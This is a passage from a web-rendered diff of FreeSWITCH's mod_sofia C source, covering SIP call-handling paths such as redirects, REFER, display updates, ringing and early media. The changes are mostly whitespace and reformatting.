+                                                goto end_lock;
+                                        }
+                                        send_invite = 0;
+                                }
+                        }
</ins><span class="cx">
</span><del>- if (!switch_rtp_ready(tech_pvt->rtp_session)) {
</del><ins>+                        if (!switch_rtp_ready(tech_pvt->rtp_session)) {
</ins><span class="cx">                                 sofia_glue_tech_prepare_codecs(tech_pvt);
</span><del>- if ((status = sofia_glue_tech_choose_port(tech_pvt, 0)) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                if ((status = sofia_glue_tech_choose_port(tech_pvt, 0)) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                         switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><del>- goto end_lock;
- }
- }
</del><ins>+                                        goto end_lock;
+                                }
+                        }
</ins><span class="cx">                         sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 1);
</span><span class="cx">
</span><del>- if (send_invite) {
</del><ins>+                        if (send_invite) {
</ins><span class="cx">                                 switch_channel_set_flag(channel, CF_REQ_MEDIA);
</span><span class="cx">                                 sofia_glue_do_invite(session);
</span><del>- }
- }
- break;
</del><ins>+                        }
+                }
+                break;
</ins><span class="cx">
</span><span class="cx">         case SWITCH_MESSAGE_INDICATE_SIMPLIFY:
</span><span class="cx">                 {
</span><span class="cx">                         char *ref_to, *ref_by;
</span><span class="cx">                         const char *uuid;
</span><span class="cx">                         const char *call_id = NULL, *to_user = NULL, *to_host = NULL, *to_tag = NULL, *from_tag = NULL, *from_user = NULL, *from_host = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
</span><span class="cx">                                 switch_core_session_t *rsession;
</span><span class="cx">                                 if ((rsession = switch_core_session_locate(uuid))) {
</span><span class="lines">@@ -1470,14 +1514,14 @@
</span><span class="cx">                                         switch_core_session_rwunlock(rsession);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (to_user && to_host && from_user && from_host && call_id && to_tag && from_tag) {
</span><span class="cx">                                 char in[512] = "", out[1536] = "";
</span><span class="cx">
</span><span class="cx">                                 switch_snprintf(in, sizeof(in), "%s;to-tag=%s;from-tag=%s", call_id, to_tag, from_tag);
</span><span class="cx">                                 switch_url_encode(in, out, sizeof(out));
</span><span class="cx">
</span><del>-                                ref_to = switch_mprintf("<sip:%s@%s?Replaces=%s>", to_user, to_host, out);
</del><ins>+                                ref_to = switch_mprintf("<sip:%s@%s?Replaces=%s>", to_user, to_host, out);
</ins><span class="cx">                                 ref_by = switch_mprintf("<sip:%s@%s>", from_user, from_host);
</span><span class="cx">
</span><span class="cx">                                 nua_refer(tech_pvt->nh, SIPTAG_REFER_TO_STR(ref_to), SIPTAG_REFERRED_BY_STR(ref_by), TAG_END());
</span><span class="lines">@@ -1492,7 +1536,7 @@
</span><span class="cx">                         char *arg = NULL;
</span><span class="cx">                         char *argv[2] = { 0 };
</span><span class="cx">                         int argc;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (zstr(name) && !zstr(msg->string_arg)) {
</span><span class="cx">                                 arg = strdup(msg->string_arg);
</span><span class="cx">                                 switch_assert(arg);
</span><span class="lines">@@ -1502,7 +1546,7 @@
</span><span class="cx">                                 number = argv[1];
</span><span class="cx">
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!zstr(name)) {
</span><span class="cx">                                 char message[256] = "";
</span><span class="cx">                                 const char *ua = switch_channel_get_variable(tech_pvt->channel, "sip_user_agent");
</span><span class="lines">@@ -1515,39 +1559,35 @@
</span><span class="cx">                                 if (!sofia_test_flag(tech_pvt, TFLAG_UPDATING_DISPLAY)) {
</span><span class="cx">                                         if (zstr(tech_pvt->last_sent_callee_id_name) || strcmp(tech_pvt->last_sent_callee_id_name, name) ||
</span><span class="cx">                                                 zstr(tech_pvt->last_sent_callee_id_number) || strcmp(tech_pvt->last_sent_callee_id_number, number)) {
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote)) {
</span><span class="cx">                                                         snprintf(message, sizeof(message), "X-FS-Display-Name: %s\nX-FS-Display-Number: %s\n", name, number);
</span><span class="cx">
</span><span class="cx">                                                         nua_info(tech_pvt->nh, SIPTAG_CONTENT_TYPE_STR("message/update_display"),
</span><span class="cx">                                                                          TAG_IF(!zstr_buf(message), SIPTAG_HEADER_STR(message)),
</span><del>-                                                                         TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
-                                                                         TAG_END());
</del><ins>+                                                                         TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)), TAG_END());
</ins><span class="cx">                                                 } else if (ua && switch_stristr("snom", ua)) {
</span><span class="cx">                                                         snprintf(message, sizeof(message), "From:\r\nTo: \"%s\" %s\r\n", name, number);
</span><span class="cx">                                                         nua_info(tech_pvt->nh, SIPTAG_CONTENT_TYPE_STR("message/sipfrag"),
</span><del>-                                                                         TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
-                                                                         SIPTAG_PAYLOAD_STR(message), TAG_END());
</del><ins>+                                                                         TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)), SIPTAG_PAYLOAD_STR(message), TAG_END());
</ins><span class="cx">                                                 } else if ((ua && (switch_stristr("polycom", ua)))) {
</span><span class="cx">                                                         snprintf(message, sizeof(message), "P-Asserted-Identity: \"%s\" <%s>", name, number);
</span><span class="cx">                                                         sofia_set_flag_locked(tech_pvt, TFLAG_UPDATING_DISPLAY);
</span><span class="cx">                                                         nua_update(tech_pvt->nh,
</span><span class="cx">                                                                          TAG_IF(!zstr_buf(message), SIPTAG_HEADER_STR(message)),
</span><del>-                                                                         TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
-                                                                         TAG_END());
</del><ins>+                                                                         TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)), TAG_END());
</ins><span class="cx">                                                 } else if ((ua && (switch_stristr("aastra", ua)))) {
</span><span class="cx">                                                         snprintf(message, sizeof(message), "P-Asserted-Identity: \"%s\" <sip:%s@%s>", name, number, tech_pvt->profile->sipip);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         sofia_set_flag_locked(tech_pvt, TFLAG_UPDATING_DISPLAY);
</span><span class="cx">                                                         nua_update(tech_pvt->nh,
</span><span class="cx">                                                                          TAG_IF(!zstr_buf(message), SIPTAG_HEADER_STR(message)),
</span><del>-                                                                         TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
-                                                                         TAG_END());
</del><ins>+                                                                         TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)), TAG_END());
</ins><span class="cx">                                                 }
</span><span class="cx">
</span><span class="cx">                                                 tech_pvt->last_sent_callee_id_name = switch_core_session_strdup(tech_pvt->session, name);
</span><span class="cx">                                                 tech_pvt->last_sent_callee_id_number = switch_core_session_strdup(tech_pvt->session, number);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                                 if (switch_event_create(&event, SWITCH_EVENT_CALL_UPDATE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         const char *uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE);
</span><span class="cx">                                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Direction", "SEND");
</span><span class="lines">@@ -1581,14 +1621,12 @@
</span><span class="cx">                                 if (ua && switch_stristr("snom", ua)) {
</span><span class="cx">                                         snprintf(message, sizeof(message), "From:\r\nTo: \"%s\" %s\r\n", msg->string_arg, tech_pvt->caller_profile->destination_number);
</span><span class="cx">                                         nua_info(tech_pvt->nh, SIPTAG_CONTENT_TYPE_STR("message/sipfrag"),
</span><del>-                                                         TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
-                                                         SIPTAG_PAYLOAD_STR(message), TAG_END());
</del><ins>+                                                         TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)), SIPTAG_PAYLOAD_STR(message), TAG_END());
</ins><span class="cx">                                 } else if (ua && switch_stristr("polycom", ua)) {
</span><span class="cx">                                         snprintf(message, sizeof(message), "P-Asserted-Identity: \"%s\" <%s>", msg->string_arg, tech_pvt->caller_profile->destination_number);
</span><span class="cx">                                         nua_update(tech_pvt->nh,
</span><span class="cx">                                                          TAG_IF(!zstr_buf(message), SIPTAG_HEADER_STR(message)),
</span><del>-                                                         TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
-                                                         TAG_END());
</del><ins>+                                                         TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)), TAG_END());
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -1610,16 +1648,16 @@
</span><span class="cx">                                 if (!strchr(msg->string_arg, '<') && !strchr(msg->string_arg, '>')) {
</span><span class="cx">                                         dest = switch_core_session_sprintf(session, "\"unknown\" <%s>", msg->string_arg);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Redirecting to %s\n", dest);
</span><span class="cx">
</span><span class="cx">                                 nua_respond(tech_pvt->nh, SIP_302_MOVED_TEMPORARILY, SIPTAG_CONTACT_STR(dest),
</span><del>-                                                        TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
-                                                        TAG_END());
</del><ins>+                                                        TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)), TAG_END());
</ins><span class="cx">                                 sofia_set_flag_locked(tech_pvt, TFLAG_BYE);
</span><span class="cx">                                 switch_safe_free(extra_headers);
</span><span class="cx">                         } else {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Too late for redirecting to %s, already answered\n", msg->string_arg);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Too late for redirecting to %s, already answered\n",
+                                                                 msg->string_arg);
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="lines">@@ -1639,7 +1677,7 @@
</span><span class="cx">                         sofia_wait_for_reply(tech_pvt, 9999, 300);
</span><span class="cx">                         switch_mutex_lock(tech_pvt->sofia_mutex);
</span><span class="cx">                         if ((var = switch_channel_get_variable(tech_pvt->channel, "sip_refer_reply"))) {
</span><del>-                                msg->string_reply = switch_core_session_strdup(session, var);
</del><ins>+                                msg->string_reply = switch_core_session_strdup(session, var);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 msg->string_reply = "no reply";
</span><span class="cx">                         }
</span><span class="lines">@@ -1650,7 +1688,7 @@
</span><span class="cx">                 if (msg->numeric_arg || msg->string_arg) {
</span><span class="cx">                         int code = msg->numeric_arg;
</span><span class="cx">                         const char *reason = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (code) {
</span><span class="cx">                                 reason = msg->string_arg;
</span><span class="cx">                         } else {
</span><span class="lines">@@ -1672,7 +1710,7 @@
</span><span class="cx">                                         goto end_lock;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (zstr(reason) && code != 407 && code != 302) {
</span><span class="cx">                                 reason = sip_status_phrase(code);
</span><span class="cx">                                 if (zstr(reason)) {
</span><span class="lines">@@ -1713,7 +1751,7 @@
</span><span class="cx">                                                                 SIPTAG_HEADER_STR(generate_pai_str(session)),
</span><span class="cx">                                                                 TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
</span><span class="cx">                                                                 TAG_IF(!zstr(max_forwards), SIPTAG_MAX_FORWARDS_STR(max_forwards)), TAG_END());
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         sofia_set_flag_locked(tech_pvt, TFLAG_BYE);
</span><span class="cx">                                         switch_safe_free(extra_headers);
</span><span class="cx">                                 }
</span><span class="lines">@@ -1724,7 +1762,7 @@
</span><span class="cx">                                         *p = '\0';
</span><span class="cx">                                         msg->string_arg = p;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 msg->message_id = SWITCH_MESSAGE_INDICATE_REDIRECT;
</span><span class="cx">                                 switch_core_session_receive_message(session, msg);
</span><span class="cx">                                 goto end_lock;
</span><span class="lines">@@ -1734,7 +1772,7 @@
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Responding with %d [%s]\n", code, reason);
</span><span class="cx">                                         if (!zstr(((char *) msg->pointer_arg))) {
</span><span class="cx">                                                 sofia_glue_tech_set_local_sdp(tech_pvt, (char *) msg->pointer_arg, SWITCH_TRUE);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
</span><span class="cx">                                                         sofia_glue_tech_patch_sdp(tech_pvt);
</span><span class="cx">                                                         sofia_glue_tech_proxy_remote_addr(tech_pvt);
</span><span class="lines">@@ -1743,21 +1781,18 @@
</span><span class="cx">                                                         nua_respond(tech_pvt->nh, code, su_strdup(nua_handle_home(tech_pvt->nh), reason), SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
</span><span class="cx">                                                                                 SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
</span><span class="cx">                                                                                 SOATAG_REUSE_REJECTED(1),
</span><del>-                                                                                SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1),
-                                                                                TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
-                                                                                TAG_END());
</del><ins>+                                                                                SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1),
+                                                                                TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)), TAG_END());
</ins><span class="cx">                                                 } else {
</span><span class="cx">                                                         nua_respond(tech_pvt->nh, code, su_strdup(nua_handle_home(tech_pvt->nh), reason), SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
</span><span class="cx">                                                                                 NUTAG_MEDIA_ENABLE(0),
</span><span class="cx">                                                                                 SIPTAG_CONTENT_TYPE_STR("application/sdp"),
</span><del>-                                                                                SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),                                                        
-                                                                                TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
-                                                                                TAG_END());
</del><ins>+                                                                                SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
+                                                                                TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)), TAG_END());
</ins><span class="cx">                                                 }
</span><span class="cx">                                         } else {
</span><del>-                                                nua_respond(tech_pvt->nh, code, su_strdup(nua_handle_home(tech_pvt->nh), reason), SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
-                                                                        TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
-                                                                        TAG_END());
</del><ins>+                                                nua_respond(tech_pvt->nh, code, su_strdup(nua_handle_home(tech_pvt->nh), reason), SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
+                                                                        TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)), TAG_END());
</ins><span class="cx">                                         }
</span><span class="cx">                                         switch_safe_free(extra_headers);
</span><span class="cx">                                 }
</span><span class="lines">@@ -1770,7 +1805,7 @@
</span><span class="cx">                 if (sofia_test_pflag(tech_pvt->profile, PFLAG_3PCC_PROXY) && sofia_test_flag(tech_pvt, TFLAG_3PCC)) {
</span><span class="cx">                         switch_channel_mark_ring_ready(channel);
</span><span class="cx">                         status = SWITCH_STATUS_SUCCESS;
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_ID_LOG, msg->_file, msg->_func, msg->_line, NULL, SWITCH_LOG_INFO,
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_ID_LOG, msg->_file, msg->_func, msg->_line, NULL, SWITCH_LOG_INFO,
</ins><span class="cx">                                                          "Pretending to send ringing. Not available for 3pcc calls\n");
</span><span class="cx">                         goto end_lock;
</span><span class="cx">                 }
</span><span class="lines">@@ -1782,12 +1817,11 @@
</span><span class="cx">
</span><span class="cx">                         nua_respond(tech_pvt->nh, SIP_180_RINGING,
</span><span class="cx">                                                 SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
</span><del>-                                                SIPTAG_HEADER_STR(generate_pai_str(session)),
</del><ins>+                                                SIPTAG_HEADER_STR(generate_pai_str(session)),
</ins><span class="cx">                                                 TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
</span><span class="cx">                                                 TAG_IF(!zstr(extra_header), SIPTAG_HEADER_STR(extra_header)),
</span><del>-                                                TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
-                                                         SIPTAG_HEADER_STR("X-FS-Support: "FREESWITCH_SUPPORT)),
-                                                TAG_END());
</del><ins>+                                                TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
+                                                         SIPTAG_HEADER_STR("X-FS-Support: " FREESWITCH_SUPPORT)), TAG_END());
</ins><span class="cx">                         switch_safe_free(extra_header);
</span><span class="cx">                         switch_channel_mark_ring_ready(channel);
</span><span class="cx">                 }
</span><span class="lines">@@ -1805,7 +1839,7 @@
</span><span class="cx">                                 sofia_set_flag_locked(tech_pvt, TFLAG_EARLY_MEDIA);
</span><span class="cx">                                 switch_channel_mark_pre_answered(channel);
</span><span class="cx">                                 status = SWITCH_STATUS_SUCCESS;
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_ID_LOG, msg->_file, msg->_func, msg->_line, NULL, SWITCH_LOG_INFO,
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_ID_LOG, msg->_file, msg->_func, msg->_line, NULL, SWITCH_LOG_INFO,
</ins><span class="cx">                                                                  "Pretending to send early media. Not available for 3pcc calls\n");
</span><span class="cx">                                 goto end_lock;
</span><span class="cx">                         }
</span><span class="lines">@@ -1822,9 +1856,9 @@
</span><span class="cx">                                                 sofia_glue_tech_set_local_sdp(tech_pvt, sdp, SWITCH_TRUE);
</span><span class="cx">                                         }
</span><span class="cx">                                         if (switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 sofia_glue_tech_patch_sdp(tech_pvt);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (sofia_glue_activate_rtp(tech_pvt, 0) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         status = SWITCH_STATUS_FALSE;
</span><span class="cx">                                                         goto end_lock;
</span><span class="lines">@@ -1839,8 +1873,8 @@
</span><span class="cx">                                                         tech_pvt->num_codecs = 0;
</span><span class="cx">                                                         sofia_glue_tech_prepare_codecs(tech_pvt);
</span><span class="cx">                                                         if (zstr(r_sdp) || sofia_glue_tech_media(tech_pvt, r_sdp) != SWITCH_STATUS_SUCCESS) {
</span><del>-                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,
-                                                                                                 "CODEC NEGOTIATION ERROR. SDP:\n%s\n", r_sdp ? r_sdp : "NO SDP!");
</del><ins>+                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,
+                                                                                                 "CODEC NEGOTIATION ERROR. SDP:\n%s\n", r_sdp ? r_sdp : "NO SDP!");
</ins><span class="cx">                                                                 switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "CODEC NEGOTIATION ERROR");
</span><span class="cx">                                                                 //nua_respond(tech_pvt->nh, SIP_488_NOT_ACCEPTABLE, TAG_END());
</span><span class="cx">                                                                 status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -1873,7 +1907,7 @@
</span><span class="cx">
</span><span class="cx">                                 if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
</span><span class="cx">                                         char *extra_header = sofia_glue_get_extra_headers(channel, SOFIA_SIP_PROGRESS_HEADER_PREFIX);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (sofia_use_soa(tech_pvt)) {
</span><span class="cx">                                                 nua_respond(tech_pvt->nh,
</span><span class="cx">                                                                         SIP_183_SESSION_PROGRESS,
</span><span class="lines">@@ -1884,12 +1918,11 @@
</span><span class="cx">                                                                         SOATAG_REUSE_REJECTED(1),
</span><span class="cx">                                                                         SOATAG_ORDERED_USER(1),
</span><span class="cx">                                                                         SOATAG_ADDRESS(tech_pvt->adv_sdp_audio_ip),
</span><del>-                                                                        SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str), SOATAG_AUDIO_AUX("cn telephone-event"),
</del><ins>+                                                                        SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str), SOATAG_AUDIO_AUX("cn telephone-event"),
</ins><span class="cx">                                                                         TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
</span><span class="cx">                                                                         TAG_IF(!zstr(extra_header), SIPTAG_HEADER_STR(extra_header)),
</span><del>-                                                                        TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
-                                                                                 SIPTAG_HEADER_STR("X-FS-Support: "FREESWITCH_SUPPORT)),
-                                                                        TAG_END());
</del><ins>+                                                                        TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
+                                                                                 SIPTAG_HEADER_STR("X-FS-Support: " FREESWITCH_SUPPORT)), TAG_END());
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 nua_respond(tech_pvt->nh,
</span><span class="cx">                                                                         SIP_183_SESSION_PROGRESS,
</span><span class="lines">@@ -1899,12 +1932,11 @@
</span><span class="cx">                                                                         SIPTAG_HEADER_STR(generate_pai_str(session)),
</span><span class="cx">                                                                         SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
</span><span class="cx">                                                                         SIPTAG_CONTENT_TYPE_STR("application/sdp"),
</span><del>-                                                                        SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),                                                                        
</del><ins>+                                                                        SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
</ins><span class="cx">                                                                         TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
</span><span class="cx">                                                                         TAG_IF(!zstr(extra_header), SIPTAG_HEADER_STR(extra_header)),
</span><del>-                                                                        TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
-                                                                                 SIPTAG_HEADER_STR("X-FS-Support: "FREESWITCH_SUPPORT)),
-                                                                        TAG_END());
</del><ins>+                                                                        TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
+                                                                                 SIPTAG_HEADER_STR("X-FS-Support: " FREESWITCH_SUPPORT)), TAG_END());
</ins><span class="cx">                                         }
</span><span class="cx">                                         switch_safe_free(extra_header);
</span><span class="cx">                                 }
</span><span class="lines">@@ -1915,7 +1947,7 @@
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end_lock:
</del><ins>+ end_lock:
</ins><span class="cx">
</span><span class="cx">         if (msg->message_id == SWITCH_MESSAGE_INDICATE_ANSWER || msg->message_id == SWITCH_MESSAGE_INDICATE_PROGRESS) {
</span><span class="cx">                 sofia_send_callee_id(session, NULL, NULL);
</span><span class="lines">@@ -1960,7 +1992,7 @@
</span><span class="cx">
</span><span class="cx"> typedef switch_status_t (*sofia_command_t) (char **argv, int argc, switch_stream_handle_t *stream);
</span><span class="cx">
</span><del>-static const char *sofia_state_names[] = {
</del><ins>+static const char *sofia_state_names[] = {
</ins><span class="cx">         "UNREGED",
</span><span class="cx">         "TRYING",
</span><span class="cx">         "REGISTER",
</span><span class="lines">@@ -1973,7 +2005,7 @@
</span><span class="cx">         NULL
</span><span class="cx"> };
</span><span class="cx">
</span><del>-const char * sofia_state_string(int state)
</del><ins>+const char *sofia_state_string(int state)
</ins><span class="cx"> {
</span><span class="cx">         return sofia_state_names[state];
</span><span class="cx"> }
</span><span class="lines">@@ -2025,7 +2057,7 @@
</span><span class="cx">         switch_time_exp_t tm;
</span><span class="cx">         const int buflen = 2048;
</span><span class="cx">         char xmlbuf[2048];
</span><del>-
</del><ins>+
</ins><span class="cx">         if (argv[6]) {
</span><span class="cx">                 switch_time_t etime = atoi(argv[6]);
</span><span class="cx">                 switch_size_t retsize;
</span><span class="lines">@@ -2047,9 +2079,9 @@
</span><span class="cx">                                                          " <sip-auth-user>%s</sip-auth-user>\n"
</span><span class="cx">                                                          " <sip-auth-realm>%s</sip-auth-realm>\n"
</span><span class="cx">                                                          " <mwi-account>%s@%s</mwi-account>\n"
</span><del>-                                                         " </registration>\n",
-                                                         switch_str_nil(argv[0]), switch_str_nil(argv[1]), switch_str_nil(argv[2]),
-                                                         switch_amp_encode(switch_str_nil(argv[3]),xmlbuf,buflen),
</del><ins>+                                                         " </registration>\n",
+                                                         switch_str_nil(argv[0]), switch_str_nil(argv[1]), switch_str_nil(argv[2]),
+                                                         switch_amp_encode(switch_str_nil(argv[3]), xmlbuf, buflen),
</ins><span class="cx">                                                          switch_str_nil(argv[7]), switch_str_nil(argv[4]), switch_str_nil(argv[5]), exp_buf, switch_str_nil(argv[11]),
</span><span class="cx">                                                          switch_str_nil(argv[12]), switch_str_nil(argv[13]), switch_str_nil(argv[14]), switch_str_nil(argv[15]),
</span><span class="cx">                                                          switch_str_nil(argv[16]), switch_str_nil(argv[17]));
</span><span class="lines">@@ -2058,6 +2090,7 @@
</span><span class="cx">
</span><span class="cx"> static const char *status_names[] = { "DOWN", "UP", NULL };
</span><span class="cx">
</span><ins>+
</ins><span class="cx"> static switch_status_t cmd_status(char **argv, int argc, switch_stream_handle_t *stream)
</span><span class="cx"> {
</span><span class="cx">         sofia_profile_t *profile = NULL;
</span><span class="lines">@@ -2074,6 +2107,7 @@
</span><span class="cx">                         stream->write_function(stream, "Invalid Syntax!\n");
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 }
</span><ins>+
</ins><span class="cx">                 if (!strcasecmp(argv[0], "gateway")) {
</span><span class="cx">                         if ((gp = sofia_reg_find_gateway(argv[1]))) {
</span><span class="cx">                                 switch_assert(gp->state < REG_STATE_LAST);
</span><span class="lines">@@ -2115,29 +2149,28 @@
</span><span class="cx">                                         stream->write_function(stream, "Name \t%s\n", switch_str_nil(argv[1]));
</span><span class="cx">                                         stream->write_function(stream, "Domain Name \t%s\n", profile->domain_name ? profile->domain_name : "N/A");
</span><span class="cx">                                         if (strcasecmp(argv[1], profile->name)) {
</span><del>-                                        stream->write_function(stream, "Alias Of \t%s\n", switch_str_nil(profile->name));
</del><ins>+                                                stream->write_function(stream, "Alias Of \t%s\n", switch_str_nil(profile->name));
</ins><span class="cx">                                         }
</span><span class="cx">                                         stream->write_function(stream, "Auto-NAT \t%s\n", sofia_test_pflag(profile, PFLAG_AUTO_NAT) ? "true" : "false");
</span><span class="cx">                                         stream->write_function(stream, "DBName \t%s\n", profile->dbname ? profile->dbname : switch_str_nil(profile->odbc_dsn));
</span><span class="cx">                                         stream->write_function(stream, "Pres Hosts \t%s\n", switch_str_nil(profile->presence_hosts));
</span><span class="cx">                                         stream->write_function(stream, "Dialplan \t%s\n", switch_str_nil(profile->dialplan));
</span><span class="cx">                                         stream->write_function(stream, "Context \t%s\n", switch_str_nil(profile->context));
</span><del>-                                        stream->write_function(stream, "Challenge Realm \t%s\n",
-                                                                                 zstr(profile->challenge_realm) ? "auto_to" : profile->challenge_realm);
</del><ins>+                                        stream->write_function(stream, "Challenge Realm \t%s\n", zstr(profile->challenge_realm) ? "auto_to" : profile->challenge_realm);
</ins><span class="cx">                                         stream->write_function(stream, "RTP-IP \t%s\n", switch_str_nil(profile->rtpip));
</span><span class="cx">                                         if (profile->extrtpip) {
</span><del>-                                        stream->write_function(stream, "Ext-RTP-IP \t%s\n", profile->extrtpip);
</del><ins>+                                                stream->write_function(stream, "Ext-RTP-IP \t%s\n", profile->extrtpip);
</ins><span class="cx">                                         }
</span><span class="cx">
</span><span class="cx">                                         stream->write_function(stream, "SIP-IP \t%s\n", switch_str_nil(profile->sipip));
</span><span class="cx">                                         if (profile->extsipip) {
</span><del>-                                        stream->write_function(stream, "Ext-SIP-IP \t%s\n", profile->extsipip);
</del><ins>+                                                stream->write_function(stream, "Ext-SIP-IP \t%s\n", profile->extsipip);
</ins><span class="cx">                                         }
</span><span class="cx">                                         stream->write_function(stream, "URL \t%s\n", switch_str_nil(profile->url));
</span><span class="cx">                                         stream->write_function(stream, "BIND-URL \t%s\n", switch_str_nil(profile->bindurl));
</span><span class="cx">                                         if (sofia_test_pflag(profile, PFLAG_TLS)) {
</span><del>-                                        stream->write_function(stream, "TLS-URL \t%s\n", switch_str_nil(profile->tls_url));
-                                        stream->write_function(stream, "TLS-BIND-URL \t%s\n", switch_str_nil(profile->tls_bindurl));
</del><ins>+                                                stream->write_function(stream, "TLS-URL \t%s\n", switch_str_nil(profile->tls_url));
+                                                stream->write_function(stream, "TLS-BIND-URL \t%s\n", switch_str_nil(profile->tls_bindurl));
</ins><span class="cx">                                         }
